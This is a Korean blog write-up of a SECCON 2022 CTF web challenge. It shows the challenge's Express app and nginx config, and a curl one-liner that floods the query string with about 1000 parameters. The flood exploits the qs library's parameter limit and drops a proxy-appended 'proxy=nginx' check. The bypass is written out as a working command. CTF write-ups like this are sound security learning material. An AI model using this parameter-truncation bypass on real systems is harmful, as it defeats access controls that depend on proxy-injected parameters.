WEB
https://blog.cjis.ooo/2022-seccon-ctf-quals/
What is NGINX used for?
NGINX is open source software for web serving, reverse proxying, caching, load balancing, media streaming, and more. It started out as a web server designed for maximum performance and stability.
Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.
// web/index.js
const app = require("express")();
const FLAG = process.env.FLAG ?? "SECCON{dummy}";
const PORT = 3000;
app.get("/", (req, res) => {
req.query.proxy.includes("nginx")
? res.status(400).send("Access here directly, not via nginx :(")
: res.send(`Congratz! You got a flag: ${FLAG}`);
});
app.listen({ port: PORT, host: "0.0.0.0" }, () => {
console.log(`Server listening at ${PORT}`);
});
// web/Dockerfile
FROM nginx:1.23.2
COPY default.conf /etc/nginx/conf.d/default.conf // nginx.conf: nginx 기본설정파일
추가 정보 출처
https://archijude.tistory.com/463
--
// nginx/default.conf
// default.conf는 nginx.conf를 통해 include된 서버 설정관련 파일이다.
server {
listen 8080 default_server;
server_name nginx;
location / {
set $args "${args}&proxy=nginx";
proxy_pass http://web:3000;
}
}
&proxy=nginx 이문제는 이녀석을 날리는 문제다!!!!!!!!1
특징 설명
qs 모듈은 1000번대 마다 도메인이 바뀌며 코드 값을 관리한다.
https://github.com/ljharb/qs/blob/main/dist/qs.js#L60
// you can check line no.60 !! or see below
...
var utils = require('./utils');
var has = Object.prototype.hasOwnProperty;
var isArray = Array.isArray;
var defaults = {
allowDots: false,
allowPrototypes: false,
allowSparse: false,
arrayLimit: 20,
charset: 'utf-8',
charsetSentinel: false,
comma: false,
decoder: utils.decode,
delimiter: '&',
depth: 5,
ignoreQueryPrefix: false,
interpretNumericEntities: false,
parameterLimit: 1000, // here !!!!!!!!!!!
parseArrays: true,
plainObjects: false,
strictNullHandling: false
};
...
정보 출처
쿼리스트링이란
사용자가 입력데이터를 전달하는 방법인데
url 주소에 미리 협의된 데이터를 파라미터를 통해 넘기는 것을 말한다
제한이 위의 설정 대로 qs 모듈에 파라미터 제한이 1000에 걸려있어서 이 수치를 넘어가면 남은 query string은 req.query
를 무시한다. 어떻게 이런 미친 문제를 낸거지? 제정신입니까 휴먼?
curl $(python -c 'print("http://target/?"+"proxy="+"q"*1000+"&a=b"*998+"&c=d")')
근데 중요한건 파라미터니까 일반 문자열을 먹지 않는다. 그래서 &
가 중요하다.
해당 주소로 명령어를 실행하면 플래그가 뜬다.